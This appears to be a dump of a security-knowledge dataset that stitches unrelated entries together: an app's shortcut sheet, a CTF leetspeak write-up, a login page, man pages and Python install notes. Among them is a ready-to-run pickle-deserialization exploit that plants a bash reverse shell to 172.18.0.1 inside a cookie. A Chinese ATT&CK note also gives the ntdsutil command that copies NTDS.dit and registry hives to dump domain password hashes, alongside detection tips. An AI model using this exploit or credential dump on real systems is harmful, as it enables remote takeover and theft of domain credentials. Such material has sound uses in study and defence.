text
stringlengths
100
9.93M
category
stringclasses
11 values
--- title: Superhuman date: 2022-11-23 16:23:31.694365 background: bg-[#6bafe2] label: Mac tags: - - mac categories: - Keyboard Shortcuts intro: | A visual cheat-sheet for the 105 keyboard shortcuts found in Superhuman. This application is MacOS-only. --- Keyboard Shortcuts ------------------ ### Actions Shortcut | Action ---|--- `Cmd` `K` | Superhuman command `/` | Search `Z` | Undo `?` | Shortcuts `X` | Select conversation `Shift` `J/K` | Add to selection {.shortcuts} ### Filters Shortcut | Action ---|--- `Shift` `U` | Unread `Shift` `S` | Starred `Shift` `I` | Important `Shift` `R` | No reply {.shortcuts} ### Messages Shortcut | Action ---|--- `C` | Compose `Enter` | Reply all `R` | Reply `F` | Forward `Cmd` `O` | Open links and attachments `Tab` | Cycle through links and dates `O` | Expand message `Shift` `O` | Expand all messages {.shortcuts} ### Conversations Shortcut | Action ---|--- `E` | Mark done (archive) `Shift` `E` | Mark as not done `H` | Remind me (snooze) `S` | Star `U` | Mark as read or unread `Shift` `3` | Trash `Shift` `1` | Mark as spam `Shift` `M` | Mute `Cmd` `U` | Unsubscribe {.shortcuts} ### Folders (Press keys separately) Shortcut | Action ---|--- `G` `I` | Go to inbox or important `G` `O` | Go to other `G` `S` | Go to starred `G` `D` | Go to drafts `G` `T` | Go to sent mail `G` `E` | Go to done `G` `H` | Go to reminders `G` `M` | Go to muted `G` `;` | Go to snippets `G` `!` | Go to spam `G` `#` | Go to trash `G` `A` | Go to all mail `G` `L` | Go to label {.shortcuts} ### Format Shortcut | Action ---|--- `Cmd` `B` | Bold `Cmd` `I` | Italics `Cmd` `U` | Underline `Cmd` `K` | Hyperlink `Cmd` `O` | Color `Cmd` `Shift` `X` | Strikethrough `Cmd` `Shift` `7` | Numbers `Cmd` `Shift` `8` | Bullets `Cmd` `Shift` `9` | Quote `Tab` | Indent list `Shift` `Tab` | Outdent list `Cmd` `]` | Increase indent `Cmd` `[` | Decrease indent {.shortcuts} ### Labels Shortcut | Action ---|--- `L` | Add or remove a label `Y` | Remove label `[` | Remove label, next `]` | Remove label, previous `Shift` `Y` | Remove all labels `V` | Move {.shortcuts} ### Calendar Shortcut | Action ---|--- `0` | Toggle calendar `-` | Previous day `=` | Next day {.shortcuts} ### Navigation {.row-span-2} Shortcut | Action ---|--- `Up/Down/Left/Right` | Superhuman focus `Tab` | Next split `Shift` `Tab` | Previous split `Enter` | Open conversation `J/K` | Next or previous conversation `N/P` | Next or previous message `Space` | Scroll down `Shift` `Space` | Scroll up `Cmd` `Up/Down` | Jump to the top or bottom `Cmd` `N` | New window `Cmd` `T` | New tab `Cmd` `Shift` `]` | Next tab `Cmd` `Shift` `[` | Previous tab `Cmd` `1/2/3` | Switch tabs `Cmd` `W` | Close tab `Ctrl` `1/2/3` | Switch accounts `Cmd` `=` | Increase font size `Cmd` `-` | Decrease font size `Cmd` `0` | Reset font size `Ctrl` `/` | Copy page link `Esc` | Back {.shortcuts} ### Pop Out Compose Shortcut | Action ---|--- `Cmd` `Shift` `P` | Pop draft in or out `Shift` `R` | Pop out reply `Shift` `Enter` | Pop out reply-all `Shift` `C` | Pop out new message `Shift` `F` | Pop out forward `Cmd` `/` | Pop out a draft and search `Cmd` `D` | Switch to or from a draft {.shortcuts} ### Compose Shortcut | Action ---|--- `Cmd` `Shift` `O` | To `Cmd` `Shift` `C` | CC `Cmd` `Shift` `B` | BCC `Cmd` `Shift` `F` | From `Cmd` `Shift` `S` | Edit subject `Cmd` `Shift` `M` | Edit message `Cmd` `Shift` `A` | Attach `Cmd` `Shift` `,` | Discard draft `Cmd` `Shift` `I` | Move contacts to BCC `Cmd` `Shift` `H` | Remind me `Cmd` `Shift` `L` | Send later `Cmd` `;` | Use snippet `Cmd` `Enter` | Send `Cmd` `Shift` `Enter` | Send and mark done `Cmd` `Shift` `Z` | Instant send {.shortcuts} Also see -------- - [Keyboard shortcuts for Superhuman](https://download.superhuman.com/Superhuman%20Keyboard%20Shortcuts.pdf) _(download.superhuman.com)_
sec-knowleage
# README Category: Misc., 100 Points ## Description > Readme A zip file was attached. ## Solution Let's check the attached file: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/README] └─$ unzip readme.zip Archive: readme.zip extracting: key_checker_data inflating: readme inflating: solution_checker.py ``` We get a Python file: ```python from Crypto.Cipher import ARC4 def check_key(key, key_checker_data): """ returns True is the key is correct. Usage: check_key('{I_think_this_is_the_key}', key_checker_data) """ return ARC4.new(("CSA" + key).encode()).decrypt(key_checker_data) == b'success' ``` A binary file: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/README] └─$ xxd -g 1 key_checker_data 00000000: e0 33 70 95 a1 e5 31 .3p...1 ``` And a README file: ``` The flag used to be {hey_that_is_the_great_puzzle}, but its gone :( ------------- 41ic3 3@S b391nn1ng T* 93t V3Ry TlrE6 *7 51ttin9 8Y HER 515TER 0n TH3 b@nK, 42D *7 hAVln9 20thing T* D0: *2©3 0R T3lc3 Sh3 H@D p3Ep36 12T* tHE 800k H3r SiST3r wAS r34D1ng, b[T 1t H4D n* 91CT[rE5 0R C02v3R5@t10n5 l2 lT, 'An6 3H4t 1S thE uS3 *F @ 8*0k,' Th0ugHt 41lcE 'wiTH*[t 9iCt[R35 0r ©0nvERS@t1*n?' 5* Sh3 3A5 ©*2SlDEr129 1n HEr 032 8126 (A5 wELL @5 SHE ©0[16, 70r tH3 h*t 64Y 8A63 h3r F33L VERY 513Epy @26 ST[pl6), wHETh3R tH3 9LE@SuR3 *F 84king 4 64lSy-Ch@in 30u1D b3 30rTh th3 TR*u813 *7 g3tTin9 up 42D plCKin9 thE DAlS1E5, wH3n S[DD3nLy 4 3HlT3 r4881t 3lTH 9lnk 3YE5 RAn ©1053 by hEr. ThERE w4S n0Thin9 5* VEry r384RKA8L3 i2 tHAT; 20R Di6 411©3 TH12K it S* v3Ry MuCh 0uT 0F Th3 34y T0 HE@R TH3 R@8biT S4y t* 1t53L7, '*h 63@r! *h 63AR! 1 Sh4L1 b3 1@T3!' (3HEn 5H3 tH0[ghT 1T *vER 4Ft3R34R6S, iT *c©[rr3D T* h3R TH@t ShE 0u9HT T* h4vE w02DEr3D 4T thiS, buT At th3 Ti8E iT 4L1 5E3M3D QulTE 24T[rA1); 8[T whEn th3 RAbb1t A©tu@L1y t*0K 4 w@tch 0[t 07 1TS 3A1STC*4T-90cKET, A2D L**K3D 4T 1T, @n6 Th32 h[rR13D *n, @1i©3 5T@Rt36 T0 h3R 7E3T, 70R lT 71@Sh3D 4Cr*S5 HER 8l2D tH4t SHE h@D nEVEr 83F0rE 5E32 4 R48bit wltH 3iThEr 4 w@l5TC0At-90CkET, 0r A 34T©h T* t@kE *[T *F iT, An6 8[rning witH c[R10SiTY, 5H3 rAn Acr055 th3 Fi3LD A7t3R 1T, @2D 70Rtun@T31y w45 J[5T 12 tlM3 t0 S33 iT p09 D0w2 A 14rgE rAbblt-H0LE [nD3R tH3 HEDg3. 1n @n*Th3R 808Ent 6032 332T A11C3 4FtEr 1t, 2EVEr 02©E c*25163rl29 h*3 1n THE 3*rL6 Sh3 w45 t* gEt *ut @g4i2. thE R48blt-h0LE 3E2t StrA19hT *2 LlKE @ t[nn31 F0R 508E 34Y, @n6 ThEn 6i9p3D SuD6EnLY 6*3n, S0 5[6D3n1y thAt 4Li©3 h@D n*T A 8*MEnt t* THl2K Ab*[T 5T099i29 h3RS31F bEF0RE Sh3 F0unD hERS3L7 F4L11n9 6*wn 4 V3Ry 633p 331L. 3ith3r THE w31L w45 v3rY 6339, 0r 5hE FEL1 vERy 51*wLy, 70r 5h3 hAD p13nTy *F T1ME @5 SHE wEnt D0w2 t* 10*k @8*ut h3r @26 T* w0n63r 3h@t w@S 90129 t0 h@p93n 23*t. Flr5T, 5H3 tRlED T0 L0*k D0wn @nD 8@KE 0[T 3H4T SHE 34S ©*812g t*, but 1t wAS T0* 6ArK T0 53E 42yThi2g; TH3n Sh3 L00K36 @t th3 SiD3S 0F thE wELL, 4n6 2*Tic36 ThAT ThEY 3ER3 7iL13D 3lth Cu9b0AR65 @26 b00k-Sh3LvE5; hErE @26 THERE 5h3 5@w 8@95 @26 picT[rES h[n9 u9*2 9E95. 5hE t00K D0wn A 7@R FR*8 *n3 *7 ThE 5h3LV35 4S 5HE pAS53D; it 34S LA831LE6 '0RAn93 M4RM4146E', 8[T t* h3r grEAT 615App0i2T8EnT 1t wAS EMpty: SHE 6l6 n0t L1K3 T0 6r*p THE J4R 70R 7EAr 07 k11Ll29 5*MEb*6Y, 5* 84n4g3D t0 9ut it l2T* 02E *7 Th3 C[9b*4r65 A5 SHE 7E1L p@5t 1t. 'wE1L!' tH*[9hT @1l©3 t0 hEr5ELF, '@7TER S[CH A 7A11 45 th15, i Sh411 Thi2K n0tHi2g 0F T[88Li29 D*3n STAirS! H0w 8r@v3 Th3y'L1 AL1 THl2k 83 4t H08E! wHy, i w0uL6n'T SAy A2YThi2g A80[T 1T, EVE2 i7 i 7EL1 0F7 ThE t09 07 th3 H*[5E!' (3h1ch 3@S vErY 1iK31Y Tr[3.) D03n, D*32, D*32. 3*u16 ThE 7ALL 2EV3r c*8E t* @n EnD! 'l w0n63r H*3 8@2y 811ES 1'vE F41L3n 8Y ThlS tlM33' 5h3 SAiD AL0u6. '1 MuST 83 9EtT12g S08E3hErE nEAr th3 c3nTR3 *F THE E@RtH. 1ET M3 533: TH@t w0uL6 b3 F*[r tH0uSAn6 811E5 D*3n, 1 THink--' (70r, y0[ 5EE, @LiCE HAD 1E4r2T 53VEr41 thl2g5 *F thiS S*RT l2 H3r 13S5*n5 12 THE ScH001r00M, A2D th0[gH Th1S 34S n*t A vERY g0*6 *pp*rTu2itY F0R 5h03lng 07F H3r k2*31ED93, @S th3R3 w@S n* 0n3 T* 1l5T32 T0 H3r, StiLL 1T wA5 9*0D 9R@©ti©3 T* S4y iT *vEr) '--Y35, tHAt'5 @8*ut thE Ri9HT 61StA2©3--8[T thE2 l w02DER 3h@t 14TlTuDE *R 102giT[63 1'V3 g*t t0?' (4LlcE h@6 20 i6E@ 3h4T 1Atlt[6E 3@5, *R L*29ltu63 ElthEr, b[T tH0[ght thEY wErE 2i©3 gr@26 30RDS T* SAy.) 9rESE2tLY Sh3 bEgA2 A9@l2. '1 w*nDER l7 1 Sh41L 74L1 rlgHT THR*[gh th3 EArTh! H0w 7[22y it'L1 SE3M t* C0M3 *[t A8*29 th3 p30pL3 thAt 34Lk w1tH thElr HE4D5 D0wnw4r6! tHE A2tip@tH1ES, 1 THlnk--' (ShE wA5 RAtH3R 91AD tH3R3 34S 2* 023 1l5TE2i2g, tH1S Ti8E, AS 1t 6lD2'T S*[n6 @t AL1 tH3 rl9Ht 30RD) '--b[T i 5h4L1 HAV3 T* 4SK th3M wh4t tHE n@M3 07 THE C0unTRY 15, y*u Kn*3. 9LE@S3, 8@'4M, 1S Thl5 n3w ZEA14n6 0r 4[5tR@Li4?' (426 Sh3 triED T0 CurtSEY 4S 5HE Sp*K3--F4n©y C[RTS3Ying A5 Y*['r3 F@L1ing thR0[gh tHE 4lr! 60 Y*u Thl2K y*[ ©*[L6 84nA93 lT?) '426 3h4t An lgn*r42t 11TT1E giR1 5H3'11 THinK 83 7*R ASK12g! 20, iT'LL nEvEr D0 t0 A5K: 9ERH@p5 1 5HALL S33 it 3RltT3n [9 508EwH3RE.' ------------- Alice was beginning to get very tired of sitting by her sister on the bank, and of having nothing to do: once or twice she had peeped into the book her sister was reading, but it had no pictures or conversations in it, "and what is the use of a book," thought Alice "without pictures or conversation?" So she was considering in her own mind (as well as she could, for the hot day made her feel very sleepy and stupid), whether the pleasure of making a daisy-chain would be worth the trouble of getting up and picking the daisies, when suddenly a White Rabbit with pink eyes ran close by her. There was nothing so very remarkable in that; nor did Alice think it so very much out of the way to hear the Rabbit say to itself, "Oh dear! Oh dear! I shall be late!" (when she thought it over afterwards, it occurred to her that she ought to have wondered at this, but at the time it all seemed quite natural); but when the Rabbit actually took a watch out of its waistcoat-pocket, and looked at it, and then hurried on, Alice started to her feet, for it flashed across her mind that she had never before seen a rabbit with either a waistcoat-pocket, or a watch to take out of it, and burning with curiosity, she ran across the field after it, and fortunately was just in time to see it pop down a large rabbit-hole under the hedge. In another moment down went Alice after it, never once considering how in the world she was to get out again. The rabbit-hole went straight on like a tunnel for some way, and then dipped suddenly down, so suddenly that Alice had not a moment to think about stopping herself before she found herself falling down a very deep well. Either the well was very deep, or she fell very slowly, for she had plenty of time as she went down to look about her and to wonder what was going to happen next. First, she tried to look down and make out what she was coming to, but it was too dark to see anything; then she looked at the sides of the well, and noticed that they were filled with cupboards and book-shelves; here and there she saw maps and pictures hung upon pegs. She took down a jar from one of the shelves as she passed; it was labelled "ORANGE MARMALADE", but to her great disappointment it was empty: she did not like to drop the jar for fear of killing somebody, so managed to put it into one of the cupboards as she fell past it. "Well!" thought Alice to herself, "after such a fall as this, I shall think nothing of tumbling down stairs! How brave they"ll all think me at home! Why, I wouldn"t say anything about it, even if I fell off the top of the house!" (Which was very likely true.) Down, down, down. Would the fall never come to an end! "I wonder how many miles I"ve fallen by this time?" she said aloud. "I must be getting somewhere near the centre of the earth. Let me see: that would be four thousand miles down, I think--" (for, you see, Alice had learnt several things of this sort in her lessons in the schoolroom, and though this was not a VERY good opportunity for showing off her knowledge, as there was no one to listen to her, still it was good practice to say it over) "--yes, that"s about the right distance--but then I wonder what Latitude or Longitude I"ve got to?" (Alice had no idea what Latitude was, or Longitude either, but thought they were nice grand words to say.) Presently she began again. "I wonder if I shall fall right through the earth! How funny it"ll seem to come out among the people that walk with their heads downward! The Antipathies, I think--" (she was rather glad there WAS no one listening, this time, as it didn"t sound at all the right word) "--but I shall have to ask them what the name of the country is, you know. Please, Ma"am, is this New Zealand or Australia?" (and she tried to curtsey as she spoke--fancy curtseying as you"re falling through the air! Do you think you could manage it?) "And what an ignorant little girl she"ll think me for asking! No, it"ll never do to ask: perhaps I shall see it written up somewhere." ``` What we have in the README is a chapter from *Alice in Wonderland* quoted twice, once in plain english and once in [leetspeak](https://en.wikipedia.org/wiki/Leet). The README also says that "The flag used to be {hey_that_is_the_great_puzzle}". So, the obvious thing to do is to try and translate the original flag to leetspeak. However, in leetspeak, each English letter can be mapped to multiple results, how do we know how to translate the flag? Well, we just try all of them, utilizing `check_key` to see if we got the correct one. First, we'll compare the original and translated text to check what are the mappings used by this leetspeak dialect: ```python from collections import defaultdict from pprint import pprint with open("readme", "r", encoding="utf8") as f: data = f.read() preface, leetspeak_text, original_text = map(lambda x: x.strip(), data.split("-------------")) assert(len(leetspeak_text) == len(original_text)) leet_map = defaultdict(set) for a, b in zip(leetspeak_text, original_text): leet_map[b].add(a) pprint(leet_map) ``` Running it, we get: ``` ┌──(user@kali)-[/media/sf_CTFs/checkpoint/README] └─$ python3 solve.py defaultdict(<class 'set'>, {'\n': {'\n'}, ' ': {' '}, '!': {'!'}, '"': {"'"}, '(': {'('}, ')': {')'}, ',': {','}, '-': {'-'}, '.': {'.'}, ':': {':'}, ';': {';'}, '?': {'?', '3'}, 'A': {'@', '4', 'A'}, 'D': {'D', '6'}, 'E': {'E', '3'}, 'F': {'F'}, 'G': {'9'}, 'H': {'H'}, 'I': {'1', 'i', 'l'}, 'L': {'1', 'L'}, 'M': {'M', '8'}, 'N': {'n', '2'}, 'O': {'*', '0'}, 'P': {'9'}, 'R': {'R', 'r'}, 'S': {'S', '5'}, 'T': {'T', 't'}, 'V': {'v'}, 'W': {'3', 'w'}, 'Y': {'Y'}, 'Z': {'Z'}, 'a': {'@', '4', 'A'}, 'b': {'8', 'b'}, 'c': {'C', 'c', '©'}, 'd': {'D', '6'}, 'e': {'E', '3'}, 'f': {'7', 'F'}, 'g': {'g', '9'}, 'h': {'h', 'H'}, 'i': {'i', '1', 'l'}, 'j': {'J', '7'}, 'k': {'k', 'K'}, 'l': {'1', 'L'}, 'm': {'8', 'M'}, 'n': {'n', '2'}, 'o': {'*', '0'}, 'p': {'p', '9'}, 'q': {'Q'}, 'r': {'R', 'r'}, 's': {'S', '5'}, 't': {'T', 't'}, 'u': {'[', 'u'}, 'v': {'V', 'v'}, 'w': {'3', 'w'}, 'x': {'*'}, 'y': {'Y', 'y'}}) ``` Now let's use backtracking to iterate over all possible options: ```python import solution_checker with open("key_checker_data", "rb") as f: key_checker_data = f.read() flag = "{hey_that_is_the_great_puzzle}" def recurse(index, candidate): if index == len(flag): str_candidate = "".join(candidate) if solution_checker.check_key(str_candidate, key_checker_data): return str_candidate return None for c in leet_map.get(flag[index], flag[index]): candidate[index] = c result = recurse(index + 1, candidate) if result is not None: return result print(f"[*] Searching for flag...") result = recurse(0, list(flag)) if result: print(f"[*] Found flag: CSA{result}" ) else: print(f"[-] Can't find flag!" ) ``` After running for a while, the script returns with an empty result. Notice however that the original flag includes a `z`, but the `leet_map` we've constructed does not. So, it looks like we need to manually add a mapping for `z`: ```python leet_map['z'].add('Z') leet_map['z'].add('z') ``` We can obviously add even more mapping, such as: ```python for k, v in leet_map.items(): v.add(k.lower()) v.add(k.upper()) ``` However each such entry multiples the amount of candidates and lengthens the runtime, so we need to be careful about adding too many options. After adding a mapping for `z`, we run the script again and get the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/checkpoint/README] └─$ python3 solve.py [*] Searching for flag... [*] Found flag: CSA{hEY_th@T_l5_thE_9RE4T_p[ZZL3} ```
sec-knowleage
#!/usr/bin/env python3 import requests import pickle import os import base64 class exp(object): def __reduce__(self): s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'""" return (os.system, (s,)) e = exp() s = pickle.dumps(e) response = requests.get("http://172.18.0.2:8000/", cookies=dict( user=base64.b64encode(s).decode() )) print(response.content)
sec-knowleage
<!doctype html> <html lang="en"> <head> <meta charset="utf-8"> <title>Login Page</title> <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4.4.1/dist/css/bootstrap.min.css" integrity="sha256-L/W5Wfqfa0sdBNIKN9cG6QA5F2qx4qICmU2VgLruv9Y=" crossorigin="anonymous"> <style> .bd-placeholder-img { font-size: 1.125rem; text-anchor: middle; -webkit-user-select: none; -moz-user-select: none; -ms-user-select: none; user-select: none; } @media (min-width: 768px) { .bd-placeholder-img-lg { font-size: 3.5rem; } } html, body { height: 100%; } body { display: -ms-flexbox; display: flex; -ms-flex-align: center; align-items: center; padding-top: 40px; padding-bottom: 40px; background-color: #f5f5f5; } .form-signin { width: 100%; max-width: 330px; padding: 15px; margin: auto; } .form-signin .checkbox { font-weight: 400; } .form-signin .form-control { position: relative; box-sizing: border-box; height: auto; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type="email"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .form-signin input[type="password"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; } </style> </head> <body class="text-center"> <form class="form-signin" action="/doLogin" method="post"> <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1> <label class="sr-only">Username</label> <input type="text" class="form-control" placeholder="Username" name="username" required> <label class="sr-only">Password</label> <input type="password" class="form-control" placeholder="Password" name="password" required> <div class="checkbox mb-3"> <label> <input type="checkbox" name="rememberme" value="remember-me"> Remember me </label> </div> <button class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button> </form> </body> </html>
sec-knowleage
# T1003-003-windows-基于NTDS凭证转储2 ## 来自ATT&CK的描述 攻击者可能试图访问或创建Active Directory域数据库的副本,以便窃取凭据信息,以及获取有关域成员(例如设备,用户和访问权限)的其他信息。默认情况下,NTDS文件(NTDS.dit)位于%SystemRoot%\NTDS\Ntds.dit域控制器中。 除了在活动的域控制器上查找NTDS文件之外,攻击者还可能搜索包含相同或相似信息的备份。 下列工具和技术可用于枚举NTDS文件和整个Active Directory哈希的内容。 - 卷影复制 - secretsdump.py - 使用内置的Windows工具ntdsutil.exe - 调用卷影副本 ### NTDS.dit Ntds.dit文件是存储Active Directory数据的数据库,包括有关用户对象,组和组成员身份的信息。它包括域中所有用户的密码哈希值。域控制器(DC)上的ntds.dit文件只能由可以登录到DC的用户访问。很明显,保护这个文件至关重要,因为攻击者访问这个文件会导致整个域沦陷。 默认情况下,NTDS文件将位于域控制器的%SystemRoot%\NTDS\Ntds.dit中。但通常存储在其他逻辑驱动器上。AD数据库是一个Jet数据库引擎,它使用可扩展存储引擎(ESE)提供数据存储和索引服务。通过ESE级别索引,可以快速定位对象属性。 ## 测试案例 使用NTDSUtil创建IFM抓取DC本地的Ntds.dit文件。 NTDSUTIL是一个命令行实用程序,在本地工作时需要AD数据库(NTDS.DIT)并支持为DCPROMO创建IFM。DCPROMO将使用IFM以“从媒体介质中安装”,这样服务器就不需要通过网络从另一台 DC 上复制域数据。适用于:Windows Server 2003,Windows Server 2003 R2,带有SP1的Windows Server 2003,Windows Server 2008,Windows Server 2008 R2。 Ntdsutil.exe是一个命令行工具,为Active Directory域服务(AD DS)和Active Directory轻型目录服务(AD LDS)提供管理工具。您可以使用ntdsutil命令来执行AD DS的数据库维护,管理和控制单个主操作,以及删除从网络中删除而未正确卸载的域控制器留下的元数据。该工具仅供有经验的管理员使用 Ntdsutil.exe的是内置在Windows Server 2008和Windows Server 2008 R2。如果您安装了AD DS或AD LDS服务器角色,则可以使用该角色。如果您安装作为远程服务器管理工具(RSAT)一部分的Active Directory域服务工具,它也将可用。 ```dos #!bash ntdsutil “ac i ntds” “ifm” “create full c:\temp” q q ``` IFM 是一个 NTDS.dit文件的副本,放在**C://temp**目录中。当创建一个IFM时,也会产生并挂载一个VSS快照,同时Ntds.dit文件和相关的数据也被复制到目标文件夹中。 该文件可能存储在一个正在promot的新的DC的共享文件夹中,也可能出现在还没有promot的新的服务器上。 此服务器可能无法确保IFM数据的安全,包括复制Ntds.dit文件并提取凭证数据。这个命令也可以通过 WMI 或 PowerShell 远程执行。(建议使用powershell执行,DOS命令执行异常错误) ## 检测日志 windows 安全日志 ## 测试复现 ```dos C:\Windows\system32\ntdsutil.exe: ac i ntds 活动实例设置为“ntds”。 C:\Windows\system32\ntdsutil.exe: ifm ifm: create full c:\temp 正在创建快照... 成功生成快照集 {ea08df62-9743-4068-aedb-a2c32dfd057f}。 快照 {2d92b366-961f-45f0-9202-9aa6f069139f} 已作为 C:\$SNAP_201911011107_VOLUMEC$\ 装载 已装载快照 {2d92b366-961f-45f0-9202-9aa6f069139f}。 正在启动碎片整理模式... 源数据库: C:\$SNAP_201911011107_VOLUMEC$\Windows\NTDS\ntds.dit 目标数据库: c:\temp\Active Directory\ntds.dit Defragmentation Status (% complete) 0 10 20 30 40 50 60 70 80 90 100 |----|----|----|----|----|----|----|----|----|----| ................................................... 正在复制注册表文件... 正在复制 c:\temp\registry\SYSTEM 正在复制 c:\temp\registry\SECURITY 快照 {2d92b366-961f-45f0-9202-9aa6f069139f} 已卸载。 在 c:\temp 中成功创建 IFM 媒体。 ifm: q C:\Windows\system32\ntdsutil.exe: q ``` ## 测试留痕 暂无 ## 检测规则/思路 建议针对进程、进程命令行参数进行监控。针对进程、进程命令行监控需要特定的环境,比如配置审核策略、采集sysmon日志等。 ## 参考推荐 MITRE-ATT&CK-T1003-003 <https://attack.mitre.org/techniques/T1003/003> NTDSutil简介 <https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753343(v=ws.10)?redirectedfrom=MSDN>
sec-knowleage
# 装的我脑血栓要犯了 --- ## Crypto 以 python2 为例 先更新 pip ``` python2 -m pip install --upgrade pip ``` 安装 Crypto ``` python2 -m pip install Crypto ``` 安装 pycryptodome ``` python2 -m pip install pycryptodome ``` 看下 `C:\Python27\Lib\site-packages\crypto` 是否有 `Cipher`、`Util`、`Hash`、`IO` 等文件夹 此时把 `C:\Python27\Lib\site-packages\crypto` 的 `crypto` 改为大写的 C ,即 `Crypto` , `C:\Python27\Lib\site-packages\Crypto` --- ## pycryptodome https://pypi.org/project/pycryptodome/#files --- ## distorm ```bash git clone https://github.com/gdabah/distorm cd distorm python setup.py install ``` - python2 ```bash python2 -m pip install distorm3==3.4.4 ``` --- ## readline ``` pip install pyreadline ``` --- ## gmpy2 确认好平台 确认好 python 版本 ``` python -V ``` 安装下 whel 模块 ``` python2 -m pip install wheel pip3 install wheel ``` 找相应版本的 whl 包 * https://pypi.org/project/gmpy2/#modal-close * https://github.com/aleaxit/gmpy/releases --- ## psycopg2 ```bash yum install -y python3-devel yum install -y postgresql-devel* pip3 install psycopg2-binary ``` --- ## python2 安装 PyMySQL https://pypi.tuna.tsinghua.edu.cn/simple/pymysql ```bash wget https://pypi.tuna.tsinghua.edu.cn/packages/ed/39/15045ae46f2a123019aa968dfcba0396c161c20f855f11dea6796bcaae95/PyMySQL-0.9.3-py2.py3-none-any.whl#sha256=3943fbbbc1e902f41daf7f9165519f140c4451c179380677e6a848587042561a python2 -m pip install PyMySQL-0.9.3-py2.py3-none-any.whl ```
sec-knowleage
.TH ZDRSCL 3 "15 June 2000" "LAPACK version 3.0" .SH NAME ZDRSCL \- 使用实数量 1/a 乘一个 n 维复向量 .SH "总览 SYNOPSIS" .TP 19 SUBROUTINE ZDRSCL( N, SA, SX, INCX ) .TP 19 .ti +4 INTEGER INCX, N .TP 19 .ti +4 DOUBLE PRECISION SA .TP 19 .ti +4 COMPLEX*16 SX( * ) .SH "目的 PURPOSE" ZDRSCL 使实数量 1/a 与 n 维复向量相乘。只要最终结果 x/a 不会上溢或下溢,那么这个函数也不会。 .br .SH "参数 ARGUMENTS" .TP 8 N (输入) 整型 向量 x 的分量个数 .TP 8 SA (输入) 双精度 数量 a,用来除 x 的每个分量。SA 必须大于0,否则这个子过程将除以零 .TP 8 SX (输入/输出) 16个复数的阵列 (COMPLEX*16 array),dimension (1+(N-1)*abs(INCX)) The n-element vector x. .TP 8 INCX (输入) 整型 向量 SX 连续值间的步进 > 0: SX(1) = X(1) 且 SX(1+(i-1)*INCX) = x(i), 1< i<= n .SH "[中文版维护人]" .B bbbush <bbbush@163.com> .br 不会翻译这些非常专业的 manl 文档,看样子不会继续了 .SH "[中文版最新更新]" .B 2003.11.22 .SH "《中国linux论坛man手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
'\" '\" Copyright (c) 1994 The Regents of the University of California. '\" Copyright (c) 1994-1996 Sun Microsystems, Inc. '\" '\" See the file "license.terms" for information on usage and redistribution '\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\" '\" RCS: @(#) $Id: focusNext.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" The definitions below are for supplemental macros used in Tcl/Tk '\" manual entries. '\" '\" .AP type name in/out ?indent? '\" Start paragraph describing an argument to a library procedure. '\" type is type of argument (int, etc.), in/out is either "in", "out", '\" or "in/out" to describe whether procedure reads or modifies arg, '\" and indent is equivalent to second arg of .IP (shouldn't ever be '\" needed; use .AS below instead) '\" '\" .AS ?type? ?name? '\" Give maximum sizes of arguments for setting tab stops. Type and '\" name are examples of largest possible arguments that will be passed '\" to .AP later. If args are omitted, default tab stops are used. '\" '\" .BS '\" Start box enclosure. From here until next .BE, everything will be '\" enclosed in one large box. '\" '\" .BE '\" End of box enclosure. '\" '\" .CS '\" Begin code excerpt. '\" '\" .CE '\" End code excerpt. '\" '\" .VS ?version? ?br? '\" Begin vertical sidebar, for use in marking newly-changed parts '\" of man pages. The first argument is ignored and used for recording '\" the version when the .VS was added, so that the sidebars can be '\" found and removed when they reach a certain age. If another argument '\" is present, then a line break is forced before starting the sidebar. '\" '\" .VE '\" End of vertical sidebar. '\" '\" .DS '\" Begin an indented unfilled display. '\" '\" .DE '\" End of indented unfilled display. '\" '\" .SO '\" Start of list of standard options for a Tk widget. The '\" options follow on successive lines, in four columns separated '\" by tabs. '\" '\" .SE '\" End of list of standard options for a Tk widget. '\" '\" .OP cmdName dbName dbClass '\" Start of description of a specific option. cmdName gives the '\" option's name as specified in the class command, dbName gives '\" the option's name in the option database, and dbClass gives '\" the option's class in the option database. '\" '\" .UL arg1 arg2 '\" Print arg1 underlined, then print arg2 normally. '\" '\" RCS: @(#) $Id: focusNext.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\" '\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages. .if t .wh -1.3i ^B .nr ^l \n(.l .ad b '\" # Start an argument description .de AP .ie !"\\$4"" .TP \\$4 .el \{\ . ie !"\\$2"" .TP \\n()Cu . el .TP 15 .\} .ta \\n()Au \\n()Bu .ie !"\\$3"" \{\ \&\\$1 \\fI\\$2\\fP (\\$3) .\".b .\} .el \{\ .br .ie !"\\$2"" \{\ \&\\$1 \\fI\\$2\\fP .\} .el \{\ \&\\fI\\$1\\fP .\} .\} .. '\" # define tabbing values for .AP .de AS .nr )A 10n .if !"\\$1"" .nr )A \\w'\\$1'u+3n .nr )B \\n()Au+15n .\" .if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n .nr )C \\n()Bu+\\w'(in/out)'u+2n .. .AS Tcl_Interp Tcl_CreateInterp in/out '\" # BS - start boxed text '\" # ^y = starting y location '\" # ^b = 1 .de BS .br .mk ^y .nr ^b 1u .if n .nf .if n .ti 0 .if n \l'\\n(.lu\(ul' .if n .fi .. '\" # BE - end boxed text (draw box now) .de BE .nf .ti 0 .mk ^t .ie n \l'\\n(^lu\(ul' .el \{\ .\" Draw four-sided box normally, but don't draw top of .\" box if the box started on an earlier page. .ie !\\n(^b-1 \{\ 